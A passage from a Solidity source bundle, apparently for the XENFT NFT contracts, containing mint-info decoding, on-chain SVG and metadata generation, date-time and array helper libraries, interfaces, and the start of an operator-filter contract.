public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n '\"},'\n '{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary FormattedStrings {\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n Base on OpenZeppelin `toString` method from `String` library\n */\n function toFormattedString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n uint256 pos;\n uint256 comas = digits / 3;\n digits = digits + (digits % 3 == 0 ? comas - 1 : comas);\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n if (pos == 3) {\n buffer[digits] = \",\";\n pos = 0;\n } else {\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n pos++;\n }\n }\n return string(buffer);\n }\n}\n"
},
"/contracts/libs/ERC2771Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n // one-time settable var\n address internal _trustedForwarder;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n /// @solidity memory-safe-assembly\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n"
},
"/contracts/libs/DateTime.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./BokkyPooBahsDateTimeLibrary.sol\";\n\n/*\n @dev Library to convert epoch timestamp to a human-readable Date-Time string\n @dependency uses BokkyPooBahsDateTimeLibrary.sol library internally\n */\nlibrary DateTime {\n using Strings for uint256;\n\n bytes public constant MONTHS = bytes(\"JanFebMarAprMayJunJulAugSepOctNovDec\");\n\n /**\n * @dev returns month as short (3-letter) string\n */\n function monthAsString(uint256 idx) internal pure returns (string memory) {\n require(idx > 0, \"bad idx\");\n bytes memory str = new bytes(3);\n uint256 offset = (idx - 1) * 3;\n str[0] = bytes1(MONTHS[offset]);\n str[1] = bytes1(MONTHS[offset + 1]);\n str[2] = bytes1(MONTHS[offset + 2]);\n return string(str);\n }\n\n /**\n * @dev returns string representation of number left-padded for 2 symbols\n */\n function asPaddedString(uint256 n) internal pure returns (string memory) {\n if (n == 0) return \"00\";\n if (n < 10) return string.concat(\"0\", n.toString());\n return n.toString();\n }\n\n /**\n * @dev returns string of format 'Jan 01, 2022 18:00 UTC' for a given timestamp\n */\n function asString(uint256 ts) external pure returns (string memory) {\n (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, ) = BokkyPooBahsDateTimeLibrary\n .timestampToDateTime(ts);\n return\n string(\n abi.encodePacked(\n monthAsString(month),\n \" \",\n day.toString(),\n \", \",\n year.toString(),\n \" \",\n asPaddedString(hour),\n \":\",\n asPaddedString(minute),\n \" UTC\"\n )\n );\n }\n\n /**\n * @dev returns (year, month as string) components of a date by timestamp\n */\n function yearAndMonth(uint256 ts) external pure returns (uint256, string memory) {\n (uint256 year, uint256 month, , , , ) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(ts);\n return (year, monthAsString(month));\n }\n}\n"
},
"/contracts/libs/BokkyPooBahsDateTimeLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// ----------------------------------------------------------------------------\n// BokkyPooBah's DateTime Library v1.01\n//\n// A gas-efficient Solidity date and time library\n//\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\n//\n// Tested date range 1970/01/01 to 2345/12/31\n//\n// Conventions:\n// Unit | Range | Notes\n// :-------- |:-------------:|:-----\n// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\n// year | 1970 ... 2345 |\n// month | 1 ... 12 |\n// day | 1 ... 31 |\n// hour | 0 ... 23 |\n// minute | 0 ... 59 |\n// second | 0 ... 59 |\n// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday\n//\n//\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\n// ----------------------------------------------------------------------------\n\nlibrary BokkyPooBahsDateTimeLibrary {\n uint256 constant _SECONDS_PER_DAY = 24 * 60 * 60;\n uint256 constant _SECONDS_PER_HOUR = 60 * 60;\n uint256 constant _SECONDS_PER_MINUTE = 60;\n int256 constant _OFFSET19700101 = 2440588;\n\n uint256 constant _DOW_FRI = 5;\n uint256 constant _DOW_SAT = 6;\n\n // ------------------------------------------------------------------------\n // Calculate the number of days from 1970/01/01 to year/month/day using\n // the date conversion algorithm from\n // https://aa.usno.navy.mil/faq/JD_formula.html\n // and subtracting the offset 2440588 so that 1970/01/01 is day 0\n //\n // days = day\n // - 32075\n // + 1461 * (year + 4800 + (month - 14) / 12) / 4\n // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n // - offset\n // ------------------------------------------------------------------------\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) private pure returns (uint256 _days) {\n require(year >= 1970);\n int256 _year = int256(year);\n int256 _month = int256(month);\n int256 _day = int256(day);\n\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n _OFFSET19700101;\n\n _days = uint256(__days);\n }\n\n // ------------------------------------------------------------------------\n // Calculate year/month/day from the number of days since 1970/01/01 using\n // the date conversion algorithm from\n // http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n // and adding the offset 2440588 so that 1970/01/01 is day 0\n //\n // int L = days + 68569 + offset\n // int N = 4 * L / 146097\n // L = L - (146097 * N + 3) / 4\n // year = 4000 * (L + 1) / 1461001\n // L = L - 1461 * year / 4 + 31\n // month = 80 * L / 2447\n // dd = L - 2447 * month / 80\n // L = month / 11\n // month = month + 2 - 12 * L\n // year = 100 * (N - 49) + year + L\n // ------------------------------------------------------------------------\n function _daysToDate(uint256 _days)\n private\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n int256 __days = int256(_days);\n\n int256 L = __days + 68569 + _OFFSET19700101;\n int256 N = (4 * L) / 146097;\n L = L - (146097 * N + 3) / 4;\n int256 _year = (4000 * (L + 1)) / 1461001;\n L = L - (1461 * _year) / 4 + 31;\n int256 _month = (80 * L) / 2447;\n int256 _day = L - (2447 * _month) / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint256(_year);\n month = uint256(_month);\n day = uint256(_day);\n }\n\n function timestampFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 timestamp) {\n timestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n _SECONDS_PER_DAY +\n hour *\n _SECONDS_PER_HOUR +\n minute *\n _SECONDS_PER_MINUTE +\n second;\n }\n\n function timestampToDate(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n secs = secs % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n second = secs % _SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if 